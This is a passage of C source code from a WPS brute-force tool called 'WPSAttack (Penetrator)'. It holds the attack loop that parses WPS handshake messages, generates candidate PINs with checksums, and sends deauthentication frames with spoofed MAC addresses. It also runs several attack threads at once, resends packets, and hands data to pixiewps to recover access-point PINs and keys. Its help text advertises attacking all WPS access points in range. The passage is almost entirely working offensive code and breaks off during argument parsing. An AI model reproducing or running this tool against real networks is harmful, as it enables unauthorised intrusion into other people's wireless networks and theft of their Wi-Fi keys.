  1614.     unsigned char *pkt=attack->packet+attack->radiotap_len;
  1615.     int len=attack->len-attack->radiotap_len;
  1616.     if(len<40||pkt[0]!=8)return 1;
  1617.     int llcorg=get_data(pkt+27,3,0);
  1618.     int llctyp=get_data(pkt+30,2,0);
  1619.     if(llcorg!=0||llctyp!=36488||pkt[33]||pkt[36]!=1||pkt[40]!=254||pkt[48]!=3)return 1;
  1620.  
  1621.     int msglen=get_data(pkt+38,2,1)-14;
  1622.     unsigned char *akt=pkt+50;
  1623.     while(1)
  1624.         {
  1625.             if(msglen<4)break;
  1626.             int typ=get_data(akt,2,1);
  1627.             int len=get_data(akt+2,2,1);
  1628.             if(typ==4153)raw2hex(akt+4,rnonce,16);
  1629.             else if(typ==4122)raw2hex(akt+4,attack->enonce,16);
  1630.             akt+=(4+len);
  1631.             msglen-=(4+len);
  1632.         }
  1633.     *eap_id=pkt[37];
  1634.     return 0;
  1635. }
  1636.  
  1637. int istimeout(ATTACK_INFO *attack)
  1638. {
  1639.     if(attack->waittil>gettick())return 0;
  1640.     if((gettick()-attack->lastsend)>TIMEOUT)return 1;
  1641.     return 0;
  1642. }
  1643.  
  1644. void restart(ATTACK_INFO *attack,int advance,int nack)
  1645. {
  1646.     if(nack)
  1647.         {
  1648.             send_nack(attack,attack->rnonce,attack->eap_id);
  1649.             eap_terminate(attack,attack->eap_id);
  1650.         }
  1651.     if(advance&&attack->wins)attack->inarow++;
  1652.     else if(advance&&!attack->wins)attack->inarow=1;
  1653.     else if(!advance&&!attack->wins)attack->inarow++;
  1654.     else if(!advance&&attack->wins)attack->inarow=1;
  1655.  
  1656.     attack->wins=advance;
  1657.     attack->eap_id=0;
  1658.     char uuid[16];
  1659.     char rnonce[16];
  1660.     randbytes(uuid,16);
  1661.     randbytes(rnonce,16);
  1662.     randbytes(attack->rs1,16);
  1663.     randbytes(attack->rs2,16);
  1664.     randbytes(attack->iv,16);
  1665.  
  1666.     raw2hex(uuid,attack->ruuid,16);
  1667.     raw2hex(rnonce,attack->rnonce,16);
  1668.  
  1669.     if(attack->lastpsk!=-1&&!advance)key_return(attack->pins,attack->lastpsk,attack->lastmode);
  1670.     if(attack->lastpsk!=-1&&advance)key_remove(attack->pins,attack->lastpsk,attack->lastmode);
  1671.     if(attack->gotm5&&!attack->lastmode)key_mode(attack->pins,attack->lastpsk);
  1672.  
  1673.     memset(attack->sent,0,6);
  1674.     attack->gotm5=0;
  1675.     attack->resended=0;
  1676.     attack->printedshit=0;
  1677.  
  1678.     int mode=2;
  1679.     unsigned long long int key;
  1680.     while(mode==2)
  1681.         {
  1682.             mode=key_get(attack->pins,&(attack->lastpsk));
  1683.             attack->lastmode=mode;
  1684.             if(!mode)
  1685.                 {
  1686.                     key=(attack->lastpsk)*1000;
  1687.                     key+=attack->pins->psk2;
  1688.                     int cmp=ComputeChecksum(key);
  1689.                     key*=10;
  1690.                     key+=cmp;
  1691.                 }
  1692.             else if(mode==1)
  1693.                 {
  1694.                     key=attack->pins->psk1*1000;
  1695.                     key+=(attack->lastpsk);
  1696.                     int cmp=ComputeChecksum(key);
  1697.                     key*=10;
  1698.                     key+=cmp;
  1699.                 }
  1700.             else if(mode==2)usleep(1000000);
  1701.         }
  1702.     if(mode==3)
  1703.         {
  1704.             if(VERBOSE>0)printf("[wpsattack] Exhausted all PINs\n");
  1705.             attack->ded=1;
  1706.             return;
  1707.         }
  1708.     if(VERBOSE>0)printf("[wpsattack] PIN: %08llu\n",key);
  1709.     sprintf(attack->pin,"%08llu",key);
  1710.     sscanf(attack->pin,"%llu",&attack->lastsuc);
  1711.  
  1712.     if(!attack->wins&&attack->inarow&&(attack->inarow%10)==0)
  1713.         {
  1714.             if(VERBOSE>0)printf("%d FAILS IN A ROW - SLEEP %llu sec\n",attack->inarow,FAILSLEEP*(attack->inarow/10));
  1715.             attack->waittil=gettick()+FAILSLEEP*1000*(attack->inarow/10);
  1716.         }
  1717.     usleep(MIDDELAY*1000LLU);
  1718.     deauth(attack);
  1719.     deauth(attack);
  1720.     deauth(attack);
  1721.     auth(attack);
  1722. }
  1723.  
  1724. void resend(ATTACK_INFO *attack)
  1725. {
  1726.     if(VERBOSE>0)printf("[wpsattack] Resending last packet\n");
  1727.     ((unsigned char*)(attack->resendmsg))[9]|=8;//set retransmission flag
  1728.     sem_wait(&sendmutex);
  1729.     pcap_inject(fp,attack->resendmsg,attack->resendlen);
  1730.     attack->lastsend=gettick();
  1731.     sem_post(&sendmutex);
  1732.     attack->resended++;
  1733. }
  1734.  
  1735. void handletimeout(ATTACK_INFO *attack)
  1736. {
  1737.     if(attack->waittil>gettick())return;
  1738.     if(VERBOSE>0)printf("[wpsattack] Timeout occured\n");
  1739.     if(attack->resended<MAXRESEND)resend(attack);
  1740.     else
  1741.         {
  1742.             if(attack->sent[3])restart(attack,0,1);
  1743.             else restart(attack,0,0);
  1744.         }
  1745. }
  1746.  
  1747. int respond(ATTACK_INFO *attack)
  1748. {
  1749.     char nack_rnonce[2048];
  1750.     unsigned char nack_eapid;
  1751.     if(!parse_nack(attack,nack_rnonce,&nack_eapid)&&attack->sent[3])
  1752.         {
  1753.             if(VERBOSE>0)printf("[wpsattack] Received NACK\n");
  1754.             send_nack(attack,attack->rnonce,nack_eapid);
  1755.             eap_terminate(attack,nack_eapid);
  1756.             if(attack->sent[4])restart(attack,1,0);
  1757.             else restart(attack,0,0);
  1758.         }
  1759.  
  1760.     if(!attack->sent[0]&&!parse_auth_response(attack))
  1761.         {
  1762.             if(VERBOSE>0)printf("[wpsattack] Received auth response\n");
  1763.             assoc(attack);
  1764.             attack->sent[0]++;
  1765.         }
  1766.     else if(!attack->sent[1]&&!parse_assoc_response(attack))
  1767.         {
  1768.             if(VERBOSE>0)printf("[wpsattack] Association successful\n");
  1769.             eapol_start(attack);
  1770.             attack->sent[1]++;
  1771.         }
  1772.     else if(attack->sent[1]&&!attack->sent[2]&&!parse_identity_rq(attack))
  1773.         {
  1774.             if(VERBOSE>0)printf("[wpsattack] Received identity request\n");
  1775.             identity_response(attack);
  1776.             attack->sent[2]++;
  1777.         }
  1778.     else if(attack->sent[2]&&!attack->sent[3]&&!attack->sent[3]&&!parse_m1(attack))
  1779.         {
  1780.             if(VERBOSE>0)printf("[wpsattack] Received M1\n");
  1781.             send_m2(attack);
  1782.             attack->sent[3]++;
  1783.         }
  1784.     else if(attack->sent[3]&&!attack->sent[4]&&!attack->sent[4]&&!parse_m3(attack))
  1785.         {
  1786.             if(VERBOSE>0)printf("[wpsattack] Received M3\n");
  1787.             send_m4(attack);
  1788.             attack->sent[4]++;
  1789.         }
  1790.     else if(attack->sent[4]&&!attack->sent[5]&&!attack->sent[5]&&!parse_m5(attack))
  1791.         {
  1792.             if(VERBOSE>0)printf("[wpsattack] Received M5\n");
  1793.             attack->gotm5++;
  1794.             send_m6(attack);
  1795.             attack->sent[5]++;
  1796.         }
  1797.     else if(attack->sent[5]&&!parse_m7(attack))
  1798.         {
  1799.             if(VERBOSE>0)printf("[wpsattack] Received M7\n");
  1800.             send_nack(attack,attack->rnonce,attack->eap_id);
  1801.             return 1;
  1802.         }
  1803.     return 0;
  1804. }
  1805.  
  1806. void *attack_thread(void *data)
  1807. {
  1808.     ATTACK_INFO *attack=data;
  1809.     strcpy(attack->foundpass,"unknown");
  1810.     strcpy(attack->foundpin,"unknown");
  1811.     if(VERBOSE>0)printf("[wpsattack] Waiting for beacon..\n");
  1812.     while(1)
  1813.         {
  1814.             struct timespec timeout;
  1815.             clock_gettime(CLOCK_REALTIME,&timeout);
  1816.             timeout.tv_nsec+=TIMEOUT*1000000LLU;
  1817.             if(timeout.tv_nsec>=1000000000LLU)
  1818.                 {
  1819.                     timeout.tv_sec+=timeout.tv_nsec/1000000000LLU;
  1820.                     timeout.tv_nsec%=1000000000LLU;
  1821.                 }
  1822.             if(sem_timedwait(&(attack->mutex),&timeout)==-1)
  1823.                 {
  1824.                     if(VERBOSE>0)printf("[wpsattack] Still no beacon..\n");
  1825.                     if((attack->timelimit&&attack->timelimit<gettick())||attack->pixiefail)break;
  1826.                     continue;
  1827.                 }
  1828.             if(attack->packet==NULL||(attack->timelimit&&attack->timelimit<gettick())||attack->pixiefail)
  1829.                 {
  1830.                     sem_post(&(attack->ready));
  1831.                     break;
  1832.                 }
  1833.             unsigned char *pkt=attack->packet+attack->radiotap_len;
  1834.             int len=attack->len-attack->radiotap_len;
  1835.             if(pkt[0]==128)
  1836.                 {
  1837.                     pkt+=36;
  1838.                     len-=36;
  1839.                     parsebeacon(pkt,len,&(attack->ssid),&(attack->wps),&(attack->wpslock),NULL);
  1840.                     free(attack->packet);
  1841.                     attack->packet=NULL;
  1842.                     sem_post(&(attack->ready));
  1843.                     break;
  1844.                 }
  1845.             else sem_post(&(attack->ready));
  1846.         }
  1847.     if(attack->ssid)
  1848.         {
  1849.             if(VERBOSE>0)printf("[wpsattack] Beacon received ok, ssid: %s\n",attack->ssid);
  1850.             restart(attack,0,0);
  1851.             while(1)
  1852.                 {
  1853.                     struct timespec timeout;
  1854.                     clock_gettime(CLOCK_REALTIME,&timeout);
  1855.                     timeout.tv_nsec+=TIMEOUT*1000000LLU;
  1856.                     if(timeout.tv_nsec>=1000000000LLU)
  1857.                         {
  1858.                             timeout.tv_sec+=timeout.tv_nsec/1000000000LLU;
  1859.                             timeout.tv_nsec%=1000000000LLU;
  1860.                         }
  1861.  
  1862.                     if(sem_timedwait(&(attack->mutex),&timeout)==-1)
  1863.                         {
  1864.                             handletimeout(attack);
  1865.                             if((attack->timelimit&&attack->timelimit<gettick())||attack->pixiefail)break;
  1866.                             continue;
  1867.                         }
  1868.                     if(attack->packet==NULL||(attack->timelimit&&attack->timelimit<gettick())||attack->pixiefail||attack->ded)
  1869.                         {
  1870.                             sem_post(&(attack->ready));
  1871.                             break;
  1872.                         }
  1873.                     if(istimeout(attack))
  1874.                         {
  1875.                             handletimeout(attack);
  1876.                             free(attack->packet);
  1877.                             attack->packet=NULL;
  1878.                             sem_post(&(attack->ready));
  1879.                             continue;
  1880.                         }
  1881.                     unsigned char *pkt=attack->packet+attack->radiotap_len;
  1882.                     int len=attack->len-attack->radiotap_len;
  1883.                     if(pkt[0]!=128&&attack->waittil<gettick()&&respond(attack))
  1884.                         {
  1885.                             if(VERBOSE>0)printf("KEY FOUND\n");
  1886.                             free(attack->packet);
  1887.                             attack->packet=NULL;
  1888.                             break;
  1889.                         }
  1890.                     free(attack->packet);
  1891.                     attack->packet=NULL;
  1892.                     sem_post(&(attack->ready));
  1893.                 }
  1894.         }
  1895.     else if(VERBOSE>0)printf("[wpsattack] No beacon received\n");
  1896.     attack->active=0;
  1897.     attack->timelimit=1;
  1898.     sem_post(&(attack->ready));
  1899.  
  1900.     /*if(VERBOSE>0){//Data is no longer needed when "gui" is not used
  1901.       sem_wait(&mutex);
  1902.       ATTACK_INFO *akt=attack_list;
  1903.       ATTACK_INFO *last=NULL;
  1904.       while(akt){
  1905.         if(akt->thread_id==attack->thread_id){
  1906.           if(last)last->next=akt->next;
  1907.           else attack_list=akt->next;
  1908.           break;
  1909.         }
  1910.         last=akt;
  1911.         akt=akt->next;
  1912.       }
  1913.  
  1914.       sem_post(&mutex);
  1915.       if(attack->ssid)free(attack->ssid);
  1916.       if(attack->packet)free(attack->packet);
  1917.       if(attack->m1)free(attack->m1);
  1918.       if(attack->m3)free(attack->m3);
  1919.       if(attack->m5)free(attack->m5);
  1920.       sem_destroy(&(attack->mutex));
  1921.       sem_destroy(&(attack->ready));
  1922.       free(attack);
  1923.     }*/
  1924.     return NULL;
  1925. }
  1926.  
  1927. void lowercase(char *in)
  1928. {
  1929.     int i;
  1930.     for(i=0; in[i]; i++)if(in[i]>='A'&&in[i]<='F')in[i]+=32;
  1931. }
  1932.  
  1933. void addattack(char *src,char *tgt,PINS *key,unsigned long long int limit,char *ssid)
  1934. {
  1935.     sem_wait(&mutex);
  1936.  
  1937.     ATTACK_INFO *add=calloc(1,sizeof(ATTACK_INFO));
  1938.     add->src_mac=hex2int(src,1);
  1939.     add->tgt_mac=hex2int(tgt,1);
  1940.     add->pins=key;
  1941.     add->lastpsk=-1;
  1942.     add->ssid=ssid;
  1943.     if(limit)add->timelimit=gettick()+limit;
  1944.     add->next=attack_list;
  1945.     add->thread_id=threads++;
  1946.     add->active=1;
  1947.     sem_init(&(add->mutex),0,0);
  1948.     sem_init(&(add->ready),0,0);
  1949.  
  1950.     attack_list=add;
  1951.  
  1952.     pthread_t th;
  1953.     pthread_create(&th,0,attack_thread,add);
  1954.     sem_post(&mutex);
  1955. }
  1956.  
  1957. char *incmac(char *mac,int add)
  1958. {
  1959.     unsigned long long int tmp;
  1960.     hex2raw(mac,&tmp);
  1961.     tmp+=add;
  1962.     char *ret=malloc(32);
  1963.     char *numa=(char*)&tmp;
  1964.     sprintf(ret,"%02hhX:%02hhX:%02hhX:%02hhX:%02hhX:%02hhX",numa[0],numa[1],numa[2],numa[3],numa[4],numa[5]);
  1965.     return ret;
  1966. }
  1967.  
  1968. void addattackex(char *src,char *tgt,int n,unsigned long long int limit,char *ssid)
  1969. {
  1970.     PINS *yolo=malloc(sizeof(PINS));
  1971.     key_init(yolo);
  1972.     if(homedir)
  1973.         {
  1974.             char total[512];
  1975.             unsigned long long int nmac=hex2int(tgt,1);
  1976.             sprintf(total,"%s/.penetrator/%llX",homedir,nmac);
  1977.             FILE *f=fopen(total,"r");
  1978.             if(f)
  1979.                 {
  1980.                     fclose(f);
  1981.                     key_load(total,yolo);
  1982.                 }
  1983.             else key_gen(yolo);
  1984.         }
  1985.     else key_gen(yolo);
  1986.  
  1987.     int i;
  1988.     for(i=0; i<n; i++)
  1989.         {
  1990.             char *mac=incmac(src,i);
  1991.             addattack(mac,tgt,yolo,limit,ssid);
  1992.             free(mac);
  1993.         }
  1994. }
  1995.  
  1996. void setchannel(char *device,int channel)
  1997. {
  1998.     double freq[]= {2.412,2.417,2.422,2.427,2.432,2.437,2.442,2.447,2.452,2.457,2.462,2.467,2.472};
  1999.     if(AKTCHANNEL==channel)return;
  2000.     if(channel<1||channel>13)
  2001.         {
  2002.             printf("Error setting channel %d\n",channel);
  2003.             exit(1);
  2004.         }
  2005.     int i;
  2006.     for(i=0; i<10; i++)
  2007.         {
  2008.             char tmp[512];
  2009.             sprintf(tmp,"iwconfig %s channel %d 2>/dev/null",device,channel);
  2010.             pclose(popen(tmp,"r"));
  2011.             sprintf(tmp,"iwconfig %s",device);
  2012.             FILE *p=popen(tmp,"r");
  2013.             double iwfreq=0;
  2014.  
  2015.             while(1)
  2016.                 {
  2017.                     memset(tmp,0,512);
  2018.                     if(!fgets(tmp,512,p))break;
  2019.                     char *x=strstr(tmp,"Frequency:");
  2020.                     if(!x)continue;
  2021.                     sscanf(x,"Frequency:%lf",&iwfreq);
  2022.                 }
  2023.             pclose(p);
  2024.             if(iwfreq==freq[channel-1])break;
  2025.             usleep(100000);
  2026.         }
  2027.     if(i==10)
  2028.         {
  2029.             printf("Error setting channel %d\n",channel);
  2030.             return;
  2031.         }
  2032.     AKTCHANNEL=channel;
  2033. }
  2034.  
  2035. int detectpixie()
  2036. {
  2037.     FILE *p=popen("which pixiewps 2>/dev/null","r");
  2038.     int lines=0;
  2039.     while(1)
  2040.         {
  2041.             char tmp[512];
  2042.             if(!fgets(tmp,512,p))break;
  2043.             lines++;
  2044.         }
  2045.     pclose(p);
  2046.     return lines;
  2047. }
  2048.  
  2049. void savelist(ATTACK_INFO *atak)
  2050. {
  2051.     ATTACK_INFO *akt=atak;
  2052.     while(akt)
  2053.         {
  2054.             char total[512];
  2055.             if(!homedir)
  2056.                 {
  2057.                     printf("\n[wpsattack] Unable to save session %llX, is HOME env var set?",akt->tgt_mac);
  2058.                     akt=akt->next;
  2059.                     continue;
  2060.                 }
  2061.             sprintf(total,"%s/.penetrator/%llX",homedir,akt->tgt_mac);
  2062.             key_save(total,akt->pins);
  2063.             printf("\nSession %llX saved",akt->tgt_mac);
  2064.             akt=akt->next;
  2065.         }
  2066.     printf("\n");
  2067. }
  2068.  
  2069. void ctrlc(int haha)
  2070. {
  2071.     if(autoatak)
  2072.         {
  2073.             sem_wait(&mutex);
  2074.             attack_list=NULL;
  2075.             sem_post(&mutex);
  2076.             return;
  2077.         }
  2078.     sem_wait(&mutex);
  2079.     ATTACK_INFO *akt=attack_list;
  2080.     while(akt)
  2081.         {
  2082.             char total[512];
  2083.             if(!homedir)
  2084.                 {
  2085.                     printf("\n[wpsattack] Unable to save session %llX, is HOME env var set?",akt->tgt_mac);
  2086.                     akt=akt->next;
  2087.                     continue;
  2088.                 }
  2089.             sprintf(total,"%s/.penetrator/%llX",homedir,akt->tgt_mac);
  2090.             key_save(total,akt->pins);
  2091.             printf("\nSession %llX saved",akt->tgt_mac);
  2092.             akt=akt->next;
  2093.         }
  2094.     printf("\n");
  2095.     exit(1);
  2096. }
  2097.  
  2098. void *init_device(void *param)
  2099. {
  2100.     char *device=(char*)param;
  2101.     fp=pcap_open_live(device,65535,1,60000,NULL);
  2102.     if(!fp)
  2103.         {
  2104.             printf("Error: Failed to open %s for capture\n",device);
  2105.             exit(1);
  2106.         }
  2107.     sem_post(&sendmutex);
  2108.     while(1)
  2109.         {
  2110.             struct pcap_pkthdr head;
  2111.             const unsigned char *pkt=pcap_next(fp,&head);
  2112.             if(!pkt)continue;
  2113.             else parsepacket(pkt,head);
  2114.         }
  2115.     pcap_close(fp);
  2116.     return NULL;
  2117. }
  2118.  
  2119. void spaces(int n)
  2120. {
  2121.     int i;
  2122.     for(i=0; i<n; i++)putchar(' ');
  2123. }
  2124.  
  2125. void *gui(void *param)
  2126. {
  2127.     int i,j;
  2128.     while(1)
  2129.         {
  2130.             if(killgui)break;
  2131.             if(VERBOSE>0)
  2132.                 {
  2133.                     sleep(5000);
  2134.                     continue;
  2135.                 }
  2136.  
  2137.             int rows,cols;
  2138.             struct winsize w;
  2139.             ioctl(STDOUT_FILENO, TIOCGWINSZ, &w);
  2140.             rows=w.ws_row;
  2141.             cols=w.ws_col;
  2142.             if(rows<15||cols<28)
  2143.                 {
  2144.                     printf("Terminal too small\n");
  2145.                     usleep(1000000);
  2146.                     continue;
  2147.                 }
  2148.             int totalt=0;
  2149.             unsigned long long int lastsuc[32],tgt[32];
  2150.             char resultpin[32][9],resultpass[32][256],ssids[32][256];
  2151.             char sleeping[32][32],timelimit[32][32];
  2152.  
  2153.             char *streak[32];
  2154.             int streakn[32];
  2155.             sem_wait(&mutex);
  2156.             ATTACK_INFO *attack=attack_list;
  2157.             while(attack)
  2158.                 {
  2159.                     lastsuc[totalt]=attack->lastsuc;
  2160.                     char *to=(char*)&tgt[totalt];
  2161.                     char *from=(char*)&(attack->tgt_mac);
  2162.                     to[0]=from[5];
  2163.                     to[1]=from[4];
  2164.                     to[2]=from[3];
  2165.                     to[3]=from[2];
  2166.                     to[4]=from[1];
  2167.                     to[5]=from[0];
  2168.  
  2169.                     strcpy(resultpass[totalt],attack->foundpass);
  2170.                     strcpy(resultpin[totalt],attack->foundpin);
  2171.                     if(attack->ssid)strcpy(ssids[totalt],attack->ssid);
  2172.                     else strcpy(ssids[totalt],"unknown");
  2173.  
  2174.                     if(attack->waittil>gettick())sprintf(sleeping[totalt],"%llus",(attack->waittil-gettick())/1000);
  2175.                     else strcpy(sleeping[totalt],"no");
  2176.  
  2177.                     if(attack->wins)streak[totalt]="wins";
  2178.                     else streak[totalt]="fails";
  2179.                     streakn[totalt]=attack->inarow;
  2180.  
  2181.                     if(attack->timelimit)
  2182.                         {
  2183.                             if(attack->timelimit>gettick())sprintf(timelimit[totalt],"%llus",(attack->timelimit-gettick())/1000);
  2184.                             else sprintf(timelimit[totalt],"killed");
  2185.                         }
  2186.                     else strcpy(timelimit[totalt],"no");
  2187.  
  2188.                     totalt++;
  2189.                     attack=attack->next;
  2190.                 }
  2191.             sem_post(&mutex);
  2192.             //24 cols, 3 rows = 1 report
  2193.             int lineswritten=1;
  2194.             for(i=0; i<cols; i++)putchar('*');
  2195.             putchar('\n');
  2196.  
  2197.             for(j=0; j<totalt; j+=cols/26)
  2198.                 {
  2199.                     for(i=0; i<cols/26; i++)
  2200.                         {
  2201.                             if(i+j>=totalt)continue;
  2202.                             printf("**");
  2203.                             char text[32];
  2204.                             int len=sprintf(text," ID %d",j+i);
  2205.                             printf("%s",text);
  2206.                             spaces(24-len);
  2207.                         }
  2208.                     lineswritten++;
  2209.                     printf("**\n");
  2210.  
  2211.                     for(i=0; i<cols/26; i++)
  2212.                         {
  2213.                             if(i+j>=totalt)continue;
  2214.                             printf("**");
  2215.                             char text[32];
  2216.                             int len=sprintf(text," SSID: %s",ssids[j+i]);
  2217.                             printf("%s",text);
  2218.                             spaces(24-len);
  2219.                         }
  2220.                     printf("**\n");
  2221.                     lineswritten++;
  2222.  
  2223.                     for(i=0; i<cols/26; i++)
  2224.                         {
  2225.                             if(i+j>=totalt)continue;
  2226.                             printf("** TGT: %02hhX:%02hhX:%02hhX:%02hhX:%02hhX:%02hhX ",((unsigned char*)&tgt[j+i])[0],
  2227.                                    ((unsigned char*)&tgt[j+i])[1],((unsigned char*)&tgt[j+i])[2],((unsigned char*)&tgt[j+i])[3],
  2228.                                    ((unsigned char*)&tgt[j+i])[4],((unsigned char*)&tgt[j+i])[5]);
  2229.                         }
  2230.                     printf("**\n");
  2231.                     lineswritten++;
  2232.  
  2233.                     for(i=0; i<cols/26; i++)
  2234.                         {
  2235.                             if(i+j>=totalt)continue;
  2236.                             printf("**");
  2237.                             char text[32];
  2238.                             int len=sprintf(text," Last PIN: %08llu",lastsuc[j+i]);
  2239.                             printf("%s",text);
  2240.                             spaces(24-len);
  2241.                         }
  2242.                     printf("**\n");
  2243.                     lineswritten++;
  2244.  
  2245.                     for(i=0; i<cols/26; i++)
  2246.                         {
  2247.                             if(i+j>=totalt)continue;
  2248.                             printf("**");
  2249.                             char text[32];
  2250.                             int len=sprintf(text," Streak: %d %s",streakn[j+i],streak[j+i]);
  2251.                             printf("%s",text);
  2252.                             spaces(24-len);
  2253.                         }
  2254.                     printf("**\n");
  2255.                     for(i=0; i<cols/26; i++)
  2256.                         {
  2257.                             if(i+j>=totalt)continue;
  2258.                             printf("**");
  2259.                             char text[32];
  2260.                             int len=sprintf(text," AP PIN: %s",resultpin[j+i]);
  2261.                             printf("%s",text);
  2262.                             spaces(24-len);
  2263.                         }
  2264.                     printf("**\n");
  2265.  
  2266.                     for(i=0; i<cols/26; i++)
  2267.                         {
  2268.                             if(i+j>=totalt)continue;
  2269.                             printf("**");
  2270.                             char text[32];
  2271.                             char propass[32];
  2272.                             memset(propass,0,32);
  2273.                             if(strlen(resultpass[j+i])<11)strcpy(propass,resultpass[j+i]);
  2274.                             else
  2275.                                 {
  2276.                                     int k;
  2277.                                     for(k=0; k<11; k++)propass[k]=resultpass[j+i][k];
  2278.                                     strcat(propass,"...");
  2279.                                 }
  2280.                             int len=sprintf(text," AP key: %s",propass);
  2281.                             printf("%s",text);
  2282.                             spaces(24-len);
  2283.                         }
  2284.                     printf("**\n");
  2285.  
  2286.                     for(i=0; i<cols/26; i++)
  2287.                         {
  2288.                             if(i+j>=totalt)continue;
  2289.                             printf("**");
  2290.                             char text[32];
  2291.                             int len=sprintf(text," Sleeping: %s",sleeping[j+i]);
  2292.                             printf("%s",text);
  2293.                             spaces(24-len);
  2294.                         }
  2295.                     printf("**\n");
  2296.                     for(i=0; i<cols/26; i++)
  2297.                         {
  2298.                             if(i+j>=totalt)continue;
  2299.                             printf("**");
  2300.                             char text[32];
  2301.                             int len=sprintf(text," Timelimit: %s",timelimit[j+i]);
  2302.                             printf("%s",text);
  2303.                             spaces(24-len);
  2304.                         }
  2305.                     printf("**\n");
  2306.  
  2307.                     for(i=0; i<cols; i++)putchar('*');
  2308.                     putchar('\n');
  2309.                     lineswritten+=7;
  2310.                 }
  2311.             for(i=0; i<rows-lineswritten; i++)putchar('\n');
  2312.             sleep(1);
  2313.         }
  2314.     return NULL;
  2315. }
  2316.  
  2317. void help(char *prog)
  2318. {
  2319.     printf("\n\nWPSAttack (Penetrator) beta v1\n\n");
  2320.     printf("Basic command line options:\n");
  2321.     printf("\t-h\t\tDisplay help\n");
  2322.     printf("\t-i <dev>\tSet monitor mode device to use\n");
  2323.     printf("\t-s\t\tScan for WPS enabled APs\n");
  2324.     printf("\t-c <channel>\tSet channel(s)\n");
  2325.     printf("\t-b <bssid>\tSet target(s)\n");
  2326.     printf("\nAdvanced command line options:\n");
  2327.     printf("\t-A \t\tScan for WPS APs and try pixiedust on all of them\n");
  2328.     printf("\t-M \t\tDisable attacking multiple APs at once (only -A)\n");
  2329.     printf("\t-P \t\tDisable pixiewps after M3 is received\n");
  2330.     printf("\t-D \t\tDisable loading sessions - starts new\n");
  2331.     printf("\t-W \t\tWait after every PIN attempt\n");
  2332.     printf("\t-v\t\tverbose - print info about WPS messages etc\n");
  2333.     printf("\t-vv\t\tverbose level 2 - print pixiewps data\n");
  2334.     printf("\t-t <seconds>\tSet time limit for scanning (default 10)\n");
  2335.     printf("\t-T <ms>\t\tSet timeout - when it occurs, resend last packet (default 1)\n");
  2336.     printf("\t-R <max>\t\tSet maximum resends (default 5)\n");
  2337.     printf("\t-S <seconds>\tSleep after 10 failures in a row (default 60)\n");
  2338.     printf("\t-N \t\tIgnore NACKs (debug)\n");
  2339.     printf("\nUsage examples:\n");
  2340.     printf("Attack APs with BSSID1 and BSSID2 on channel 1:\n\t%s -i mon0 -c 1 -b BSSID1 -b BSSID2\n\n",prog);
  2341.     printf("Attack all WPS APs on channel 1:\n\t%s -i mon0 -c 1\n\n",prog);
  2342.     printf("Attack all WPS APs in range, multiple at once:\n\t%s -i mon0 -A\n\n",prog);
  2343.     printf("Attack all WPS APs in range one by one:\n\t%s -i mon0 -A -M\n\n",prog);
  2344.     printf("Attack all WPS APs on channels 1 and 6:\n\t%s -i mon0 -A -c 1 -c 6\n\n",prog);
  2345.     exit(0);
  2346. }
  2347.  
  2348. int main(int argc,char **argv)
  2349. {
  2350.     if(argc==1)help(argv[0]);
  2351.     passlist=NULL;
  2352.     homedir=getenv("HOME");
  2353.     if(homedir)
  2354.         {
  2355.             char total[512];
  2356.             sprintf(total,"%s/.penetrator",homedir);
  2357.             mkdir(total,S_IRUSR|S_IWUSR);
  2358.         }
  2359.     signal(SIGINT,ctrlc);
  2360.  
  2361.     int i;
  2362.     threads=0;
  2363.     ffmac=hex2int("FF FF FF FF FF FF",1);
  2364.     char *device=NULL;
  2365.     char scanmode=0;
  2366.     char onlyscan=0;
  2367.     char *src_mac=NULL;
  2368.     int channels[64];
  2369.     int nch=0;
  2370.     int noc=0;
  2371.     int scantime=10;
  2372.     int ttt=0;
  2373.     char *targets[1024];
  2374.     char *dssid[1024];
  2375.     memset(dssid,0,1024*8);
  2376.     VERBOSE=0;
  2377.     TIMEOUT=1000;
  2378.     MAXRESEND=5;
  2379.     AKTCHANNEL=0;
  2380.     FAILSLEEP=60;
  2381.     autoatak=0;
  2382.     MIDDELAY=0;
  2383.     FUCKSESSIONS=0;
  2384.     killgui=0;
  2385.     SCANLIST *wifi=NULL;
  2386.     PIXIEDUST=detectpixie();
  2387.     int multiattack=1;
  2388.     FUCKNACK=0;
  2389.     int fastpixie=0;
  2390.  
  2391.     srand(time(NULL));
  2392.     attack_list=NULL;
  2393.     sem_init(&mutex,0,1);
  2394.     sem_init(&passes_sem,0,1);
  2395.     sem_init(&sendmutex,0,1);
  2396.     sem_wait(&sendmutex);
  2397.     for(i=1; i<argc; i++)
  2398.         {
  2399.             if(!strcmp(argv[i],"-h"))help(argv[0]);
  2400.             else if(!strcmp(argv[i],"-i"))if((i+1)>=argc||argv[i+1][0]=='-')return printf("Error: -i requires an argument\n");
  2401.                 else device=argv[++i];
  2402.             else if(!strcmp(argv[i],"-s"))onlyscan=1;
  2403.             else if(!strcmp(argv[i],"-m"))if((i+1)>=argc||argv[i+1][0]=='-')return printf("Error: -m requires an argument\n");
  2404.                 else src_mac=argv[++i];
  2405.             else if(!strcmp(argv[i],"-c"))if((i+1)>=argc||argv[i+1][0]=='-')return printf("Error: -c requires an argument\n");
  2406.                 else
  2407.                     {
  2408.                         sscanf(argv[++i],"%d",&channels[nch++]);
  2409.                         noc=1;
  2410.                     }
  2411.             else if(!strcmp(argv[i],"-b"))if((i+1)>=argc||argv[i+1][0]=='-')return printf("Error: -b requires an argument\n");
  2412.                 else
  2413.                     {
  2414.                         targets[ttt++]=argv[++i];
  2415.                         scanmode=0;
  2416.                     }
  2417.             else if(!strcmp(argv[i],"-e"))if((i+1)>=argc||argv[i+1][0]=='-')return printf("Error: -e requires an argument\n");
  2418.                 else dssid[ttt]=argv[++i];
  2419.             else if(!strcmp(argv[i],"-t"))if((i+1)>=argc||argv[i+1][0]=='-')return printf("Error: -t requires an argument\n");
  2420.                 else sscanf(argv[++i],"%d",&scantime);
  2421.             else if(!strcmp(argv[i],"-vv"))VERBOSE=2;
  2422.             else if(!strcmp(argv[i],"-v"))VERBOSE=1;
  2423.             else if(!strcmp(argv[i],"-T"))if((i+1)>=argc||argv[i+1][0]=='-')return printf("Error: -T requires an argument\n");
  2424.                 else sscanf(argv[++i],"%u",&TIMEOUT);
  2425.             else if(!strcmp(argv[i],"-R"))if((i+1)>=argc||argv[i+1][0]=='-')return printf("Error: -R requires an argument\n");
  2426.                 else sscanf(argv[++i],"%u",&MAXRESEND);
  2427.             else if(!strcmp(argv[i],"-S"))if((i+1)>=argc||argv[i+1][0]=='-')return printf("Error: -S requires an argument\n");
  2428.                 else sscanf(argv[++i],"%llu",&FAILSLEEP);
  2429.             else if(!strcmp(argv[i],"-A"))
  2430.                 {
